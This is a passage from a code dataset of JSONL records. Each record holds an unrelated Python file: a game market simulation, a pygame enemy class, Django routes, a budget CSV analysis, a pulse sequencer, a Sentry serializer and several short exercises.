0\n self.superchargers = 0\n self.tanks = 0\n\n self.water = 3\n self.ore = 2\n self.energy = 3\n self.quartz = 1\n\n def spare_water_capacity(self):\n index = self.carriers.water_level\n return self.carriers.water_progression[index] - self.water\n\n def spare_ore_capacity(self):\n index = self.carriers.ore_level\n return self.carriers.ore_progression[index] - self.ore\n\n def spare_quartz_capacity(self):\n index = self.carriers.quartz_level\n return self.carriers.quartz_progression[index] - self.quartz\n\n def spare_energy_capacity(self):\n index = self.carriers.energy_level\n return self.carriers.energy_progression[index] - self.energy\n\n\nclass Carriers:\n water_progression = [5, 7, 9, 12]\n ore_progression = [3, 6, 9, 14]\n energy_progression = [5, 8, 10, 12]\n quartz_progression = [2, 4, 6, 10]\n\n def __init__(self):\n self.water_level = 2\n self.ore_level = 1\n self.energy_level = 1\n self.quartz_level = 1\n\n self.water_capacity = self.water_progression[self.water_level]\n self.ore_capacity = self.ore_progression[self.ore_level]\n self.energy_capacity = self.energy_progression[self.energy_level]\n self.quartz_capacity = self.quartz_progression[self.quartz_level]\n\n def upgrade_water_capacity(self):\n self.water_level += 1\n self.water_capacity = self.water_progression[self.water_level]\n\n def upgrade_ore_capacity(self):\n self.ore_level += 1\n self.ore_capacity = self.ore_progression[self.ore_level]\n\n def upgrade_energy_capacity(self):\n self.energy_level += 1\n self.energy_capacity = self.energy_progression[self.energy_level]\n\n def upgrade_quartz_capacity(self):\n self.quartz_level += 1\n self.quartz_capacity = self.quartz_progression[self.quartz_level]\n\n\nclass Specialist:\n def __init__(self, name, priority, can_auction=False, can_airship=False, can_permit=False):\n self.can_permit = can_permit\n self.can_airship = can_airship\n self.can_auction = can_auction\n self.name = name\n self.priority = priority\n\n\nclass GameMap:\n \"\"\"\n This is meant just as a structure to hold map properties and game map array representation.\n Tile ownership is (or neutral / unclaimed status) is stored in the game map array representation.\n \"\"\"\n\n def __init__(self, _game_map, river=4):\n self.width = _game_map.shape[1]\n self.height = _game_map.shape[0]\n self.river = river\n self.array_rep = _game_map\n\n def player_positions(self, player_number):\n x_positions, y_positions = np.where(self.array_rep == player_number)\n positions = zip(x_positions, y_positions)\n return [pos for pos in positions]\n\n\nclass Market:\n def __init__(self, resources, initial_supply, price_ledger, demand_ledger, initial_prices):\n self._prices = initial_prices # indices from price_ledger\n self._supply = initial_supply # current stock\n self._demand_ledger = demand_ledger # adjustment of price index given current stock\n self._price_ledger = price_ledger # translation between price index and real price in money terms\n self._resources = resources # ore, water, energy and quartz\n self._bonus = {resource: 0 for resource in resources} # bonus resource to be won during auction\n\n def get_price(self, item: str) -> int:\n \"\"\"\n\n :rtype: int\n \"\"\"\n price_index = self._prices[item]\n return self._price_ledger[item][price_index]\n\n def buy(self, item, quantity):\n if self._supply[item] >= quantity:\n self._supply[item] -= quantity\n unit_price = self.get_price(item)\n price = quantity * unit_price\n if item == \"tank\":\n assert quantity == 1 # it is not allowed to buy more than one tank in one transaction\n self._adjust_tank_price(quantity)\n elif item in self._resources:\n self._adjust_price(item)\n print(\"Bought {0} of {1} for {2} ({3} a piece)\".format(quantity, item, price, unit_price))\n return price\n else:\n raise Exception(\"Attempted buying more than in stock.\")\n\n def sell(self, item, quantity):\n if (self._supply[item] + quantity) >= len(self._price_ledger[item]):\n raise Exception(\"Tried to sell more than it is allowed by the scope defined in the price ledgers\")\n self._supply[item] += quantity\n unit_price = self.get_price(item)\n price = quantity * unit_price\n print(\"Sold {0} of {1} for {2} ({3} a piece)\".format(quantity, item, price, unit_price))\n self._adjust_price(item)\n return price\n\n def produce_tanks(self):\n no_tanks = min(self._supply[\"ore\"], self._supply[\"energy\"])\n max_produced = self._prices[\"tank\"]\n no_tanks = min(max_produced, no_tanks)\n self._supply[\"tank\"] += no_tanks\n self._supply[\"ore\"] -= no_tanks\n self._supply[\"energy\"] -= no_tanks\n self._adjust_tank_price(-no_tanks)\n print(\"{0} tanks produced \".format(no_tanks))\n\n def extract_bonus(self):\n for resource in self._resources:\n if self._supply[resource] > 0:\n self._bonus[resource] += 1\n self._supply[resource] -= 1\n print(\"{0} added to the bonus pool\".format(resource))\n\n def get_bonus_resource(self, resource):\n if self._bonus[resource] > 0:\n self._bonus[resource] -= 1\n print(\"{0} removed from the bonus pool\".format(resource))\n else:\n raise Exception(\"Tried to get bonus resource which was not available.\")\n\n def is_available_bonus(self, resource):\n return self._bonus[resource] > 0\n\n def get_stock(self, item):\n return self._supply[item]\n\n def allowed_max_sale(self, resource):\n ledger_max = len(self._price_ledger[resource]) - 1\n current_supply = self._supply[resource]\n return ledger_max - current_supply\n\n def _adjust_price(self, resource):\n print(\"Resource price adjustment initiated for {0}\".format(resource))\n supply = self._supply[resource]\n print(\"Current supply is {0}\".format(supply))\n index_adjustment = self._demand_ledger[resource][supply - 1] # supply is 1 indexed.\n # Ledgers are just python lists which are 0 indexed\n print(\"Current price index is {0}\".format(self._prices[resource]))\n new_price_index = self._prices[resource] + index_adjustment\n if new_price_index < 0:\n new_price_index = 0\n if new_price_index >= len(self._price_ledger[resource]):\n new_price_index = len(self._price_ledger[resource]) - 1\n self._prices[resource] = new_price_index\n print(\"Price index after adjustment: {0}\".format(self._prices[resource]))\n real_price = self.get_price(resource)\n print(\"{0} changes by {1} indices to the price of: {2}\".format(resource, index_adjustment, real_price))\n\n def _adjust_tank_price(self, adjustment):\n print(\"Tank price will be moved by: {0}\".format(adjustment))\n max_price = len(self._price_ledger[\"tank\"])\n current_real_price = self.get_price(\"tank\")\n current = self._prices[\"tank\"]\n new_price = (current + adjustment)\n if new_price >= max_price or new_price < 0:\n raise Exception(\"Attempted buying / adding tanks beyond range allowed by price ledgers.\")\n self._prices[\"tank\"] = new_price\n new_real_price = self.get_price(\"tank\")\n print(\"Old tank price: {0} new tank price: {1}\".format(current_real_price, new_real_price))\n","sub_path":"steam_sim/steamsim/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":11383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"452671531","text":"def countFreq(arr, n): \r\n \r\n mp = dict() \r\n pair=0\r\n \r\n # Traverse through array elements \r\n # and count frequencies \r\n for i in range(n): \r\n if arr[i] in mp.keys(): \r\n mp[arr[i]] += 1\r\n else: \r\n mp[arr[i]] = 1\r\n \r\n # Traverse through map and print \r\n # frequencies \r\n for x in mp: \r\n pair=pair+(int(mp[x]/2))\r\n print(pair)\r\n \r\n# Driver code \r\narr = [10, 20, 20, 10, 10, 20, 5, 20 ] \r\nn = len(arr) \r\ncountFreq(arr, n) \r\nimport numpy as np\r\na = np.random.rand(8,13,13)\r\n","sub_path":"hack.py","file_name":"hack.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"412337334","text":"\"\"\" No need for ENV/BIN python because it's not going to be directly run.\nenemy.py\nbadguys!\n\"\"\"\nimport pygame\nfrom pygame import Surface\nfrom pygame.sprite import Sprite, Group #sprites and groups!\nfrom random import randrange\n\nclass Enemy (Sprite):\n size = 50, 30\n color = 255,0,0\n vx, vy = 6,6\n spawntime = 30\n spawnticker = 0\n \n def __init__(self,loc, bounds):\n Sprite.__init__(self)\n self.image = Surface(self.size)\n self.rect = self.image.get_rect()\n self.rect.bottomleft = loc\n self.image.fill(self.color)\n self.bounds = bounds\n self.vx = randrange(-6,6)\n self.vy = randrange(3,6)\n \n \n def update(self):\n self.rect.x += self.vx\n self.rect.y += self.vy\n #spawn\n \n \n #bounce off side\n if self.rect.right > self.bounds.right or self.rect.left < self.bounds.left:\n self.vx *= -1\n \n \n #kill if out of bounds\n if self.rect.top > self.bounds.bottom:\n self.kill()\n \nclass FastEnemy(Enemy):\n color = 255,0,255\n size = 15,35\n def __init__(self, loc, bounds):\n Enemy.__init__(self, loc, bounds)\n \n self.vx = 0\n self.vy = 20\n \n \n ","sub_path":"Galaga/enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"390710154","text":"from TwitterAPI import TwitterAPI #@UnresolvedImport\nimport GlobalVar #@UnresolvedImport\nimport _thread\nimport sys\n\nif __name__ == '__main__':\n\n\t#initialize\n\tif len(sys.argv) != 2:\n\t\tprint('mode not specified')\n\t\n\tGlobalVar.initVars()\n\tapi1 = TwitterAPI('../../Key/k1.json')\n\tapi2 = TwitterAPI('../../Key/k2.json')\n\tapi3 = TwitterAPI('../../Key/k3.json')\n\tapi4 = TwitterAPI('../../Key/k4.json')\n\tapi5 = TwitterAPI('../../Key/k5.json')\n\t\n\tif True or sys.argv[1] == 'g':\n\t\t_thread.start_new_thread(api1.startSampling, (True, -129, 25, -90, 35))\n\t\t_thread.start_new_thread(api2.startSampling, (True, -90, 25, -65, 35))\n\t\t_thread.start_new_thread(api3.startSampling, (True, -129, 35, -90, 50))\n\t\t_thread.start_new_thread(api4.startSampling, (True, -90, 35, -65, 50))\n\t\tinput('keep running')\n\telse:\n\t\tapi5.startSampling(False)\n\t\n\t#testing:\n\t# api1 = TwitterAPI('../../Key/k1.json')\n\t# api1.startSampling(-180,0,180,90)","sub_path":"Solr/Index/TwitterSample.py","file_name":"TwitterSample.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"261947749","text":"from django.urls import path\nfrom .views import ReviewsCreateView, ReviewsListView, ReviewsDetailView\n\n\napp_name = 'Reviews'\nurlpatterns = [\n path('create/', ReviewsCreateView.as_view()),\n path('all', ReviewsListView.as_view()),\n path('detail/', ReviewsDetailView.as_view())\n]\n","sub_path":"reviews/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"607975093","text":"letters = [\"a\", \"b\", \"c\", \"d\"]\nmatrix = [[0, 1], [2, 3]] # 2D array.\nList = [\"a\", \"b\", \"c\", 0, 1, 2, 3, [0, 1], [2, 3]] # NOTE-2\nzeros = [0]*5 # NOTE-3\n\n# NOTE-4 # numbers from 0 to 19 will be elements of the list.\nnumbers = list(range(20))\n\ncombined = zeros + letters # NOTE-5\nchars = list(\"Hello World\") # Each letter will appear as an element in list.\n\nprint(List)\nprint(combined)\nprint(len(combined)) # NOTE-6\nprint(chars)\n\n# NOTE LISTS in Python.\n# NOTE 1>: We can define List in python by using square brackets.\n# NOTE 2>: Objects in List in Python can be of different types.(mix)\n# NOTE 3>: we can repeat an item in a list by multiplying it with a number. eg. if we want 100 zeros in a list = [0]*100\n# NOTE 4>: We can fill a list by enumerating numbers using RANGE function. As List function takes an Iterable parameter.\n# NOTE 5>: We can concatenate List using + operator.\n# NOTE 6>: We can find number of items in a list by using len function.\n","sub_path":"CodeKitchen/Python Scripts/2_Data Structures/1_Lists.py","file_name":"1_Lists.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"335262620","text":"#! /usr/bin/python3\n# coding:utf-8\n\n# import xlsxwriter\nimport pathlib\nimport jinja2\nimport yaml\n# import copy\n# import csv\nimport scan_disk.utils as utils\n\n\"\"\"\n Generating Disk Scan Report\n\n The presentation model is a html file.\n\n In future, the presentation model can be very different depending on the type of format\n that we wish to leave, to study for excel or for pdf\n\"\"\"\n\n\nclass ScanRender:\n\n def __init__(self,\n scan_result,\n directory,\n html=None,\n csv=None,\n jinja=None,\n excel=None,\n output=None):\n \"\"\"\n Constructor\n \"\"\"\n self.scan_result = scan_result\n self.directory = directory\n self.html = html\n self.csv = csv\n self.jinja = jinja\n self.excel = excel\n if output:\n self.output = output\n else:\n self.output = str(self.directory)[1:].split('/')[-1]\n # self.output = 'test'\n self.project_path = pathlib.Path(__file__).resolve().parents[1]\n\n # Set KO exit reply text\n self.ko_reply_text = \"[O] Something went wrong!\\n \\\n Consult the log file \\\n ._//(`O`)\\_.\"\n\n def render_html(self):\n \"\"\"\n Generate a html page from jinja templates and the data dict\n :param self : The class instance\n :type self : ScanRender\n :return : error_code, error_message\n :rtype: int, String\n \"\"\"\n\n error_code, error_message = 200, None\n result = ''\n tableau = self.project_path / 'templates' / 'tableau.yml'\n tableau_template = utils.yaml_to_dict(tableau)\n\n try:\n result += utils.render_templates(tableau_template['head'],\n name=self.output,\n descript=str(self.directory))\n\n for value in self.scan_result.values():\n value['key'] = [\n 'nom', 'type', 'droits', 'inode', 'dev', ' uid', 'gid',\n 'size', 'acces', 'modif', 'create']\n result += utils.render_templates(tableau_template['body'],\n **value)\n result += tableau_template['footer']\n\n with open(self.project_path / 'html' / (self.output+'.html'),\n 'w', encoding=\"utf-8\") as f:\n f.write(result)\n except AttributeError as error:\n error_code = 1001\n error_message = error\n except IOError as error:\n error_code = 1002\n error_message = error\n except TypeError as error:\n error_code = 1003\n error_message = error\n finally:\n return error_code, error_message\n","sub_path":"scan_disk/scan_render.py","file_name":"scan_render.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"410678646","text":"from network import Network\nfrom time import sleep\nfrom msvcrt import getch\nimport sys\n\n\nclass Player():\n width = height = 50\n\n def __init__(self, name):\n self.name = name\n self.record = [0, 0, 0]\n\n # def record_result(self, result):\n # if result in [0,1,2]:\n # self.record[result] += 1\n # return self.record\n # else:\n # raise ValueError('Record result takes in integer value in list([0, 1, 2]). Win, Lose, Tie.')\n\n def play(self):\n key = \"\"\n while key not in [114,112,115,27]:\n key = ord(getch())\n if key == 27:\n sys.exit()\n if key == 114:\n return 0\n if key == 112:\n return 1\n if key == 115:\n return 2\n\n\nclass Game:\n\n def __init__(self):\n self.net = Network()\n self.player = Player('Player')\n\n def run(self):\n\n delay = .1 #milliseconds\n run = True\n tools = \"ROCK PAPER SCISSORS\".split()\n\n while run:\n sleep(delay)\n\n game_num, record = self.parse_intro()\n last_game_num = game_num\n print(f\"Welcome Player {self.net.id + 1}\"\n f\"Game Number: {game_num}\"\n f\"Current Record: P1:{record[0]}, P2:{record[1]}, T:{record[2]}\")\n print(\"\\n Lets play RPS!!!\\n\\n\")\n sleep(delay)\n\n ## Input responce\n response = self.player.play()\n self.send_data(response)\n print(f'You attack with {tools[response]}')\n\n ## Await text from server\n while game_num == last_game_num:\n game_num, opp_tool, result = self.parse_result()\n print(f'Opponent attacks with {tools[opp_tool]}')\n if self.result == 2:\n print(\"\\nA Tie!\")\n elif self.net.id == result:\n print(\"\\nYou win!\")\n else:\n print(\"\\nYou lose...\")\n\n self.press_to_continue()\n\n\n def send_data(self, response):\n data = str(self.net.id) + \":\" + response\n reply = self.net.send(data)\n return reply\n\n def press_to_continue(self):\n print(\"Press and key to play again. Press ESC to quit.\")\n key = \"\"\n while key == \"\":\n key = ord(getch())\n if key == 27:\n sys.exit()\n\n def parse_intro(self):\n try:\n reply = self.net.receive()\n # data = conn.recv(2048)\n # reply = data.decode('utf-8')\n if not reply:\n pass\n else:\n print(\"Recieved: \" + reply)\n arr = reply.split(\":\")\n game_num = int(arr[0])\n record = [int(i) for i in arr[1][1:-1].split(',')]\n except:\n pass\n return game_num, record\n\n def parse_result(self):\n try:\n reply = self.net.receive()\n # data = conn.recv(2048)\n # reply = data.decode('utf-8')\n if not reply:\n pass\n else:\n print(\"Recieved: \" + reply)\n arr = reply.split(\":\")\n game_num = int(arr[0])\n opp_tool = int(arr[1])\n result = int(arr[2])\n except:\n pass\n return game_num, opp_tool, result\n","sub_path":"Code/D13-15--Classes/RPSgame.py","file_name":"RPSgame.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"528501787","text":"import os\nimport csv\nimport pandas as pd \n\n#electionpath = os.path.join('..', 'resources', 'election_data.csv')\n\nprint(\"This is HW Assignment #3\")\nprint(\"\")\n\n# Create a variable that holds the import of the Budget_Data CSV File\n# budgetpath = os.path.join('..', 'resources', 'budget_data.csv')\nbudgetpath = \"C:\\\\Users\\\\aipat\\\\python-challenge\\\\resources\\\\budget_data.csv\"\n\nmonths = []\ntotal = []\nprofitloss = []\n\nwith open(budgetpath, 'r') as budgetfile:\n budgetreader = csv.reader(budgetfile, delimiter=\",\")\n budgetheader = next(budgetreader)\n \n \n #this will iterate through each row of the csv file and read it\n #this for loop will continue to loop through the csvfile till \n #it reaches the end\n # === What do you want to do in this loop? ===\n for row in budgetreader:\n #print(f'{row[0]} {row[1]}')\n #print(f'{row[1]}')\n \n #this will store the values of each column in either months list or total list\n months.append(row[0])\n total.append(int(row[1]))\n \n # iterate through to calculate the profit/loss change\n for i in range(len(total)-1):\n profitloss.append(total[i+1]-total[i]) \n \ntotalsum = sum(int(x) for x in total)\n\navgchange = round(sum(profitloss)/len(profitloss),2)\n\n#Calculate the max/min profit loss\nincrease_profit = max(profitloss)\ndecrease_loss = min(profitloss)\n\n#Calculate the max months to try to associate with profit/loss\nincrease_months = months[profitloss.index(increase_profit) + 1]\ndecrease_months = months[profitloss.index(decrease_loss) + 1]\n\nprint(\"============================================================\")\nprint(\"\")\nprint(f'There are a total of {len(months)} months')\nprint(\"\")\nprint(f'The total profit/loss margin is ${totalsum}')\nprint(f'The average change is ${avgchange}')\nprint(f'The Max Increase value is {(increase_months)} ${increase_profit}')\nprint(f'The Max Decrease value is {(decrease_months)} ${decrease_loss}')\nprint(\"\")\nprint(\"This is the end of Bank Analysis\")\nprint(\"============================================================\")\n\noutput_analysis = \"C:\\\\Users\\\\aipat\\\\python-challenge\\\\PyBank\\\\PyBankAnalysis.txt\"\n\nwith open(output_analysis, 'w') as analysisfile:\n\n\tanalysisfile.write(\"============================================================\")\n\tanalysisfile.write(\"\\n\")\n\tanalysisfile.write(\"This is your financial analysis of Py Bank\")\n\tanalysisfile.write(\"\\n\")\n\tanalysisfile.write(f'There are a total of {len(months)} months')\n\tanalysisfile.write(\"\\n\")\t\n\tanalysisfile.write(f'The total profit/loss margin is ${totalsum}')\n\tanalysisfile.write(\"\\n\")\t\n\tanalysisfile.write(f'The average change is ${avgchange}')\n\tanalysisfile.write(\"\\n\")\t\n\tanalysisfile.write(f'The Max Increase value is {(increase_months)} ${increase_profit}')\n\tanalysisfile.write(\"\\n\")\t\n\tanalysisfile.write(f'The Max Decrease value is {(decrease_months)} ${decrease_loss}')\n\tanalysisfile.write(\"\\n\")\t\n\tanalysisfile.write(\"This is the end of Bank Analysis\")\n\tanalysisfile.write(\"\\n\")\t\n\tanalysisfile.write(\"============================================================\")\n\t","sub_path":"HW3_PythonChallenge/PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"474983485","text":"\"\"\"Main application for FastAPI\"\"\"\nfrom therapy.query import normalize\nfrom fastapi import FastAPI\n\napp = FastAPI()\n\n\n@app.get(\"/\")\ndef read_root():\n \"\"\"Endpoint that returns default example of API root endpoint\"\"\"\n return {\"Hello\": \"World\"}\n\n\n@app.get(\"/query/{q_string}\")\ndef read_query(q_string: str):\n \"\"\"Endpoint to return normalized responses for a the query\"\"\"\n resp = normalize(q_string)\n return resp\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"50183810","text":"def main():\n file = open(\"tcpdump_out.pcap.txt\", \"r\")\n lines = file.readlines()\n file.close()\n\n largeCount = 0\n\n # countDestination = 0\n for line in lines:\n line = line.strip()\n\n line = line.split(' ')\n # line1 = line.rstrip('\\n'))\n a = line[7]\n a = a.rstrip('\\n')\n\n if int(a) > 512:\n largeCount = largeCount + 1\n\n print(largeCount)\n\n # percentage\n\n total_number_of_packets = 71932\n # large_packets = 37000\n\n per = 100.0 * largeCount / total_number_of_packets\n\n print(per)\n\nmain()","sub_path":"tcp2.py","file_name":"tcp2.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"501229498","text":"from __future__ import absolute_import\n\nfrom sentry.api.serializers import Serializer, register, serialize\nfrom sentry.auth import access\nfrom sentry.models import (\n Organization, OrganizationAccessRequest, OrganizationMember,\n OrganizationMemberType, Team, TeamStatus\n)\n\n\n@register(Organization)\nclass OrganizationSerializer(Serializer):\n def get_attrs(self, item_list, user):\n if user.is_authenticated():\n member_map = dict(\n (om.organization_id, om)\n for om in OrganizationMember.objects.filter(\n organization__in=item_list,\n user=user,\n )\n )\n else:\n member_map = {}\n\n result = {}\n for organization in item_list:\n try:\n om = member_map[organization.id]\n except KeyError:\n if user.is_superuser:\n is_global = True\n access_type = OrganizationMemberType.OWNER\n else:\n is_global = False\n access_type = None\n else:\n is_global = om.has_global_access\n access_type = om.type\n\n result[organization] = {\n 'is_global': is_global,\n 'access_type': access_type,\n }\n return result\n\n def serialize(self, obj, attrs, user):\n d = {\n 'id': str(obj.id),\n 'slug': obj.slug,\n 'name': obj.name,\n 'dateCreated': obj.date_added,\n 'isGlobal': attrs['is_global'],\n 'permission': {\n 'owner': attrs['access_type'] <= OrganizationMemberType.OWNER,\n 'admin': attrs['access_type'] <= OrganizationMemberType.ADMIN,\n }\n }\n return d\n\n\nclass DetailedOrganizationSerializer(OrganizationSerializer):\n def serialize(self, obj, attrs, user):\n from sentry import features\n from sentry.api.serializers.models.team import TeamWithProjectsSerializer\n\n team_list = list(Team.objects.filter(\n organization=obj,\n status=TeamStatus.VISIBLE,\n ))\n\n feature_list = []\n if features.has('organizations:sso', obj, actor=user):\n feature_list.append('sso')\n\n if getattr(obj.flags, 'allow_joinleave'):\n feature_list.append('open-membership')\n\n context = super(DetailedOrganizationSerializer, self).serialize(\n obj, attrs, user)\n context['teams'] = serialize(\n team_list, user, TeamWithProjectsSerializer())\n context['access'] = access.from_user(user, obj).scopes\n context['features'] = feature_list\n context['pendingAccessRequests'] = OrganizationAccessRequest.objects.filter(\n team__organization=obj,\n ).count()\n return context\n","sub_path":"src/sentry/api/serializers/models/organization.py","file_name":"organization.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"80915010","text":"from __future__ import with_statement\n\nimport os\n\nimport rdflib\n\nfrom humfrey.update.transform.base import Transform\n\nclass Union(Transform):\n def __init__(self, *others):\n self.others = others\n\n def execute(self, transform_manager, input=None):\n inputs = [input] if input else []\n inputs += [other(transform_manager) for other in self.others]\n \n transform_manager.start(self, inputs)\n \n graph = rdflib.ConjunctiveGraph()\n for filename in inputs:\n graph.parse(filename,\n format=self.rdf_formats[os.path.splitext(filename)[1:]])\n \n with transform_manager('nt') as output:\n graph.serialize(output, format='nt')\n \n return output.name\n","sub_path":"humfrey/update/transform/union.py","file_name":"union.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"151346298","text":"# dashboard/views.py\n# Authored by Caetano Melone, CTO Kampesino \n# Last update 19 July 2019\n\nfrom django.shortcuts import render, redirect\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom api.models import CurrentlyPicking, Shift, Crop\nfrom django.db.models import Count\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\n\n@staff_member_required(login_url='/login/')\ndef home(request):\n shifts = Shift.objects.all()\n count_shifts = Shift.objects.count()\n crop_rank = CurrentlyPicking.objects.values('crop__name').annotate(crop_count=Count('crop')).order_by('-crop_count')\n crop_rank_len = len(crop_rank)\n\n # user_number = User.objects.count()\n # shift_number = Shift.objects.count()\n # currently_picking_number = CurrentlyPicking.objects.count()\n\n return render(request, 'dashboard/index.html', {\n 'shifts': shifts,\n 'count_shifts': count_shifts,\n 'crop_rank': crop_rank\n # 'users': user_number,\n # 'shifts': shift_number,\n # 'currently_pickings': currently_picking_number\n })\n\n\n@staff_member_required(login_url='/login/')\ndef users(request):\n user_s = User.objects.filter(is_staff=False)\n user_s = user_s.annotate(shift_count=Count('shift'))\n user_number = User.objects.count() # Subtract 8 from this to get the real number of users (test users=8)\n return render(request, 'dashboard/users.html', {'users': user_s, 'user_number': user_number})\n\n# Clean up this code\n\n# @staff_member_required(login_url='/login/')\n# def user_disable(request, pk):\n# user = User.objects.get(pk=pk)\n# user.is_active = False\n# user.save()\n# return redirect('/dashboard/users/')\n#\n#\n# @staff_member_required(login_url='/login/')\n# def user_enable(request, pk):\n# user = User.objects.get(pk=pk)\n# user.is_active = True\n# user.save()\n# return redirect('/dashboard/users/')\n","sub_path":"backend/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"181014895","text":"'''\nCreated on 11 juillet 2014.\n@author: Odile\n'''\n\nclass Sequence(object):\n '''\n Manage the sequence of pulses.\\n\n Transform the pulses into 32 bits words for the sequencer.\n \n :Example:\n \n >>> from pkg1.Sequencer import Sequence\n >>> pulses = ((0, 5, 1), (1, 6, 1), (1, 32, 1))\n >>> seq=Sequence()\n >>> seq.sortPulses(pulses)\n >>> print (seq.delays)\n [5, 1, 1, 25, 1] \n >>> for i in list(range(len(seq.outputs))):\n print(format(seq.outputs[i], '08X'), end=' ')\n >>> print (s.data[0:3])\n >>> print (s.stepTime)\n [0.147, 0.148, 0.146]\n 0.1\n '''\n def __init__(self):\n '''\n Constructor\n '''\n self.outputs = []\n self.delays = []\n \n def sortPulses(self, pulses):\n '''\n Constructor\n '''\n \"\"\" Build lists to sort pulse durations and channels \"\"\"\n waits = []\n durations = []\n pulse_waits = []\n pulse_true = []\n \"\"\" Build lists to sort pulse durations and channels \"\"\"\n \"\"\" pulse[0]=channel, pulse[1]=wait_delay, pulse[2]=duration \"\"\"\n for i, pulse in enumerate(pulses):\n waits.append([pulse[1], pulse[0]])\n durations.append([pulse[2], pulse[0]])\n pulse_waits.append(pulse[1])\n pulse_true.append([False, pulse[0]])\n \n \"\"\" Find first pulse and last pulse \"\"\"\n values = []\n delays = []\n delay = min(pulse_waits)\n delays.append(delay)\n out = 0x0000\n values.append(out)\n\n max_wait = max(pulse_waits)\n max_id = pulse_waits.index(max_wait)\n max_wait += durations[max_id][0]\n \n \"\"\" start looking for pulses after the first one \"\"\"\n cur_wait = delays[0]\n \n while cur_wait < max_wait:\n min_waits = []\n \n for i in list(range(len(waits))):\n waits[i][0] -= delay\n \n if (waits[i][0] == 0 and pulse_true[i][0] == False):\n mask = 1 << waits[i][1]\n out = out ^ mask\n waits[i][0] += durations[i][0]\n pulse_true[i][0] = True\n min_waits.append(waits[i][0])\n elif (waits[i][0] == 0 and pulse_true[i][0] == True):\n mask = 1 << waits[i][1]\n out = out ^ mask\n pulse_true[i][0] = False\n else:\n if (waits[i][0] > 0):\n min_waits.append(waits[i][0])\n \n delay = min(min_waits)\n values.append(out)\n delays.append(delay)\n cur_wait += delay\n \n \"\"\" Fill the public variables \"\"\"\n self.outputs = values\n self.delays = delays\n\nif __name__ == '__main__':\n ''' test '''\n pulses = (\n (0, 5, 1),\n (1, 6, 1),\n (24, 7, 1),\n (31, 12, 2),\n (1, 13, 1),\n (0, 30, 3),\n (1, 32, 1)\n )\n seq=Sequence()\n seq.sortPulses(pulses)\n for output in seq.outputs:\n print(format(output, '08X'), end=' ')\n print(\"\\ndelays =\", seq.delays) \n \nelse:\n print(\"\\nImporting... \", __name__)\n\n","sub_path":"src/pkg/sequencer.py","file_name":"sequencer.py","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"21522363","text":"# a script to plot GDP histogram\nfrom pylab import *\nfrom read_world_data import read_world_data\n\n# initialize variables; N is the number of countries, B is the bin size\nN, B = 20, 1000\n\ngdp, labels = read_world_data(N)\n\n# plot the histogram\nprob, bins, patches = hist(gdp, arange(0, max(gdp)+B,B), align='left')\n\n# annotate with text\nfor i, p in enumerate(prob):\n percent = '%d%%' % (p/N*100)\n # only annotate non-zero values\n if percent != '0%':\n text(bins[i], p, percent, \n rotation=45, va='bottom', ha='center')\nylabel('Number of countries')\nxlabel('Income, billions of dollars')\ntitle('GDP histogram, %d largest economies' % N)\n\n# some axis manipulations\nxlim(-B/2, bins[-1]-B/2)\n\nsavefig('../images/figure6-10.png', dpi=150)\n\nshow()","sub_path":"book/apress/Beginning.Python.Visualization.Crafting.Visual.Transformation.Scripts/0053-7-src-Ch06/src/gdp_hist.py","file_name":"gdp_hist.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"234055917","text":"# Write your solution here\ndef fibonacci(n):\n\n cache = dict()\n \n if n == 0:\n ans = 0\n cache[n] = ans\n elif n == 1 or n == 2:\n ans = 1\n cache[n] = ans\n\n if n in cache:\n return cache[n]\n\n elif n >= 3:\n ans = fibonacci(n-1) + fibonacci(n-2)\n cache[n] = ans\n \n return ans\n\nprint(fibonacci(5))","sub_path":"introduction_to_python/recursive_functions/2_fibonacci/solution/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"103688295","text":"\"\"\"Test cases for dataset module.\"\"\"\nimport shutil\n\nimport pytest\nimport tensorflow as tf\n\nfrom muspy import (\n EMOPIADataset,\n EssenFolkSongDatabase,\n HaydnOp20Dataset,\n HymnalDataset,\n 